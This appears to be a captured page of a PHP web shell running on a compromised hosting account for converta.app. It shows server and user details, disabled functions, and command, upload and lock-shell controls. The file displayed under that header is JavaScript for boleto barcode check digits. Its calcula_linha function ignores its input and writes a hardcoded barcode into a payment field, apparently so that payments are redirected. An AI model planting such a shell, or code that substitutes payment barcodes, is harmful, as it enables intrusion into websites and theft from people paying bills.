Server IP : 82.180.170.48 / Your IP : 18.224.200.148 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u636808025/domains/converta.app/public_html/../public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
function modulo10(numero) { numero = numero.replace(/[^0-9]/g,''); var soma = 0; var peso = 2; var contador = numero.length-1; //alert(contador); //numero = '00183222173'; //for (var i=0; i <= contador - 1; i++) { //alert(10); //for (contador=10; contador >= 10 - 1; contador--) { while (contador >= 0) { //alert(contador); //alert(numero.substr(contador,1)); multiplicacao = ( numero.substr(contador,1) * peso ); if (multiplicacao >= 10) {multiplicacao = 1 + (multiplicacao-10);} soma = soma + multiplicacao; //alert(numero.substr(contador,1)+' * '+peso+' = '+multiplicacao + ' =>' + soma) ; //alert(soma); if (peso == 2) { peso = 1; } else { peso = 2; } contador = contador - 1; } var digito = 10 - (soma % 10); //alert(numero + '\n10 - (' + soma + ' % 10) = ' + digito); if (digito == 10) digito = 0; return digito; } function debug(txt) { form.t.value = form.t.value + txt + '\n'; } function modulo11_banco(numero) { numero = numero.replace(/[^0-9]/g,''); //debug('Barra: '+numero); var soma = 0; var peso = 2; var base = 9; var resto = 0; var contador = numero.length - 1; //debug('tamanho:'+contador); // var numero = "12345678909"; for (var i=contador; i >= 0; i--) { //alert( peso ); soma = soma + ( numero.substring(i,i+1) * peso); //debug( i+': '+numero.substring(i,i+1) + ' * ' + peso + ' = ' +( numero.substring(i,i+1) * peso)+' soma='+ soma); if (peso < base) { peso++; } else { peso = 2; } } var digito = 11 - (soma % 11); //debug( '11 - ('+soma +'%11='+(soma % 11)+') = '+digito); if (digito > 9) digito = 0; /* Utilizar o dígito 1(um) sempre que o resultado do cálculo padrão for igual a 0(zero), 1(um) ou 10(dez). */ if (digito == 0) digito = 1; return digito; } function calcula_linha(barra) { linha = "34193979200000085881093184836172938541386000".replace(/[^0-9]/g,''); // if (modulo10('399903512') != 8) alert('Função "modulo10" está com erro!'); if (linha.length != 44) alert ('A linha do código de barras está incompleta!'); // var campo1 = linha.substr(0,4)+linha.substr(19,1)+'.'+linha.substr(20,4); var campo2 = linha.substr(24,5)+'.'+linha.substr(24+5,5); var campo3 = linha.substr(34,5)+'.'+linha.substr(34+5,5); var campo4 = linha.substr(4,1); // Digito verificador var campo5 = linha.substr(5,14); // Vencimento + Valor // if ( modulo11_banco( linha.substr(0,4)+linha.substr(5,99) ) != campo4 ) alert('Digito verificador '+campo4+', o correto é '+modulo11_banco( linha.substr(0,4)+linha.substr(5,99) )+'\nO sistema não altera automaticamente o dígito correto na quinta casa!'); // if (campo5 == 0) campo5 = '000'; // linha = campo1 + modulo10(campo1) +' ' +campo2 + modulo10(campo2) +' ' +campo3 + modulo10(campo3) +' ' +campo4 +' ' +campo5 ; //if (form.linha.value != form.linha2.value) alert('Linhas diferentes'); jQuery('input#boletoconverta').val(linha); }